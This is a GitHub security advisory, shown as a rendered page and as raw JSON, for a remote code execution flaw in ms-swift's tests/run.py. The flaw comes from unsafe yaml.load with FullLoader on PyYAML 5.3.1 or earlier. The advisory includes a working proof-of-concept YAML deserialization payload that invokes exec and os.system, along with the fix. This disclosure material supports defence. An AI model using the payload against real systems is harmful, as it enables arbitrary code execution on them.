GHSA-FM6C-F59H-7MMG

Vulnerability from github – Published: 2025-07-31 14:02 – Updated: 2025-08-01 18:35
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Summary
MS SWIFT Remote Code Execution via unsafe PyYAML deserialization
Details

Description

A Remote Code Execution (RCE) vulnerability exists in the modelscope/ms-swift project due to unsafe use of yaml.load() in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the tests/run.py script, where a user-supplied YAML configuration file is deserialized using yaml.load() with yaml.FullLoader.

If an attacker can control or replace the YAML configuration file provided to the --run_config argument, they may inject a malicious payload that results in arbitrary code execution.

Affected Repository

  • Project: modelscope/ms-swift
  • Affect versions: latest
  • File: tests/run.py
  • GitHub Permalink: https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420
  • Dependency: PyYAML <= 5.3.1

Vulnerable Code

if args.run_config is not None and Path(args.run_config).exists():
    with open(args.run_config, encoding='utf-8') as f:
        run_config = yaml.load(f, Loader=yaml.FullLoader)

Proof of Concept (PoC)

Step 1: Create malicious YAML file (exploit.yaml)

!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"

Step 2: Execute with vulnerable PyYAML (<= 5.3.1)

import yaml

with open("exploit.yaml", "r") as f:
    cfg = yaml.load(f, Loader=yaml.FullLoader)

This results in execution of os.system, proving code execution.

Mitigation

  • Replace yaml.load() with yaml.safe_load()
  • Upgrade PyYAML to version 5.4 or later

Example Fix:

# Before
yaml.load(f, Loader=yaml.FullLoader)

# After
yaml.safe_load(f)

Author

Severity ?
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
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  "details": "## Description\n\nA Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (\u2264 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`.\n\nIf an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution.\n\n## Affected Repository\n\n- **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift)\n- **Affect versions:** latest\n- **File:** `tests/run.py`\n- **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420\n- **Dependency:** PyYAML \u003c= 5.3.1\n\n## Vulnerable Code\n\n```python\nif args.run_config is not None and Path(args.run_config).exists():\n    with open(args.run_config, encoding=\u0027utf-8\u0027) as f:\n        run_config = yaml.load(f, Loader=yaml.FullLoader)\n```\n\n## Proof of Concept (PoC)\n\n### Step 1: Create malicious YAML file (`exploit.yaml`)\n\n```yaml\n!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__(\u0027os\u0027).system(\u0027mkdir HACKED\u0027)\"\n```\n\n### Step 2: Execute with vulnerable PyYAML (\u003c= 5.3.1)\n\n```python\nimport yaml\n\nwith open(\"exploit.yaml\", \"r\") as f:\n    cfg = yaml.load(f, Loader=yaml.FullLoader)\n```\n\nThis results in execution of `os.system`, proving code execution.\n\n## Mitigation\n\n* Replace `yaml.load()` with `yaml.safe_load()`\n* Upgrade PyYAML to version 5.4 or later\n\n### Example Fix:\n\n```python\n# Before\nyaml.load(f, Loader=yaml.FullLoader)\n\n# After\nyaml.safe_load(f)\n```\n\n\n## Author\n\n* Discovered by: Yu Rong (\u620e\u8a89) and Hao Fan (\u51e1\u6d69)\n* Contact: *\\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*",
  "id": "GHSA-fm6c-f59h-7mmg",
  "modified": "2025-08-01T18:35:43Z",
  "published": "2025-07-31T14:02:34Z",
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      "type": "WEB",
      "url": "https://github.com/modelscope/ms-swift/security/advisories/GHSA-fm6c-f59h-7mmg"
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      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50460"
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      "type": "WEB",
      "url": "https://github.com/modelscope/ms-swift/pull/5174"
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      "type": "WEB",
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      "type": "ADVISORY",
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      "type": "PACKAGE",
      "url": "https://github.com/modelscope/ms-swift"
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      "type": "WEB",
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      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
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  "summary": "MS SWIFT Remote Code Execution via unsafe PyYAML deserialization"
}


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